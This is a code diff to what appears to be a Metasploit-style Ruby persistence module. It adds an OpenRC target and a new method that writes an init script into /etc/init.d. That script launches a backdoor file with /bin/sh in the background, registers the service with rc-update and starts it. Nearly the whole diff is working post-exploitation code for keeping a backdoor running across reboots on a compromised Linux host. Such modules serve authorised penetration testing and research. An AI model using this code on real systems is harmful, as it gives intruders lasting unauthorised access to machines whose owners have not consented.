@@ -59,6 +59,11 @@ def initialize(info = {})
5959 'BACKDOOR_PATH' => '/usr/local/bin'
6060 }
6161 ] ,
62+ [ 'openrc' , 'DefaultOptions' =>
63+ {
64+ 'BACKDOOR_PATH' => '/usr/local/bin'
65+ }
66+ ] ,
6267 [ 'systemd' , 'DefaultOptions' =>
6368 {
6469 'BACKDOOR_PATH' => '/usr/local/bin'
@@ -118,6 +123,8 @@ def exploit
118123 system_v ( path , file , target . opts [ :runlevel ] , service_system_exists? ( 'update-rc.d' ) )
119124 when 'Upstart'
120125 upstart ( path , file , target . opts [ :runlevel ] )
126+ when 'openrc'
127+ openrc ( path , file )
121128 when 'systemd'
122129 systemd ( path , file )
123130 when 'systemd user'
@@ -131,6 +138,10 @@ def exploit
131138 print_status ( 'Utilizing Upstart' )
132139 upstart ( path , file , '2345' )
133140 end
141+ if service_system_exists? ( 'openrc' )
142+ print_status ( 'Utilizing openrc' )
143+ openrc ( path , file )
144+ end
134145 has_updatercd = service_system_exists? ( 'update-rc.d' )
135146 if has_updatercd || service_system_exists? ( 'chkconfig' ) # centos 5
136147 print_status ( 'Utilizing System_V' )
@@ -397,4 +408,39 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
397408 cmd_exec ( "/etc/init.d/#{ service_filename } start" )
398409 end
399410 end
411+
412+ def openrc ( backdoor_path , backdoor_file )
413+ # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts
414+ # https://wiki.alpinelinux.org/wiki/OpenRC
415+ # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md
416+ script = %{#!/sbin/openrc-run
417+ name=#{ backdoor_file }
418+ command=/bin/sh
419+ command_args="#{ backdoor_path } /#{ backdoor_file } "
420+ pidfile="/run/${RC_SVCNAME}.pid"
421+ command_background="yes"
422+ }
423+
424+ service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
425+ service_name = "/etc/init.d/#{ service_filename } "
426+ vprint_status ( "Writing service: #{ service_name } " )
427+ begin
428+ upload_and_chmodx ( service_name , script )
429+ rescue Rex ::Post ::Meterpreter ::RequestError
430+ print_error ( "Writing '#{ service_name } ' to the target and or changing the file permissions failed, ensure that directory exists?" )
431+ end
432+
433+ if !file_exist? ( service_name )
434+ print_error ( 'File not written, check permissions.' )
435+ return
436+ end
437+
438+ if datastore [ 'EnableService' ]
439+ vprint_status ( 'Enabling service' )
440+ cmd_exec ( "rc-update add '#{ service_filename } '" )
441+ end
442+
443+ vprint_status ( 'Starting service' )
444+ cmd_exec ( "'/etc/init.d/#{ service_filename } ' start" )
445+ end
400446end
0 commit comments